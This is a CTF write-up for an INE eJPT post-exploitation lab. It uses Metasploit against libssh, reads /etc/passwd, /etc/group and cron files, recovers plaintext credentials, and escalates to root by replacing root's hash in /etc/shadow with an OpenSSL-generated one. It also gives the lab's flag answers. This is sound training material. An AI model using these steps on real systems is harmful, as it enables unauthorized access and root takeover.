Post-Exploitation CTF 1

Run post-exploitation techniques across target1 and target2 to uncover five flags.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

GUI access to a Kali machine is provided. Two machines are accessible at target1.ine.local and target2.ine.local. Objective: execute post-exploitation techniques to uncover hidden flags.

NmapMetasploitOpenSSL
Note: Flag format is FLAG1_MD5Hash — submit only the hash (no underscore).

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — The user account file

cat /etc/hosts
nmap -sV -sC -p- -Pn -A target1.ine.local

Nmap output points to a libssh issue. Exploit it with Metasploit:

msfconsole
search libssh
use 0
show options

set RHOSTS target1.ine.local
set SPAWN_PTY true
exploit

Interact with the session and read the account file — /etc/passwd stores user account details:

show actions
sessions -i 1
cat /etc/passwd
🏁 FLAG 1: 66b16eafb80742b0b9c7ac83500cb199

Flag 2 — User groups

Group membership is stored in /etc/group:

cat /etc/group
🏁 FLAG 2: 9f041bd227a84c87bf96643e397e1233

Flag 3 — Scheduled tasks (cron)

Cron jobs are defined under /etc/cron.d:

cd /etc/cron.d
ls
cat *
🏁 FLAG 3: 33d59c8ef0d6470eaf2d3038ebdca642

Flag 4 — DNS config & stored credentials

DNS/host mappings live in /etc/hosts; home directories may hold stored credentials:

cat /etc/hosts
🏁 FLAG 4: 792f850b232b4fb393cfe6b62415efd1

Flag 5 — Privilege escalation on target2

Scan the second target, then look for stored credentials in the user's home:

nmap -sV -sC -p- -Pn -A 192.10.190.3   # target2.ine.local
cd /home/user
ls
cat credentials.txt
# john:Pass@john123

SSH is open and we have john : Pass@john123. Once in, escalate by replacing root's password hash in /etc/shadow. Generate a known hash with OpenSSL:

openssl passwd -1 -salt abc password
# $1$abc$BXBqpb9BZcZhXLgbee.0s/

Edit /etc/shadow, replace root's hash field with the generated value, then switch user:

nano /etc/shadow
# replace root's hash with: $1$abc$BXBqpb9BZcZhXLgbee.0s/
su root
# password: password

Now read the flag from root's home:

cd /root
ls
cat flag.txt
🏁 FLAG 5: cbc5eefa6aae4f0e8a5524e5ea24ba2d

Summary

FlagTechnique
1libssh exploit (Metasploit) → read /etc/passwd
2Enumerate /etc/group
3Inspect cron jobs in /etc/cron.d
4Read /etc/hosts / home directories
5Reused credentials + /etc/shadow hash swap with OpenSSL → root

Key Takeaways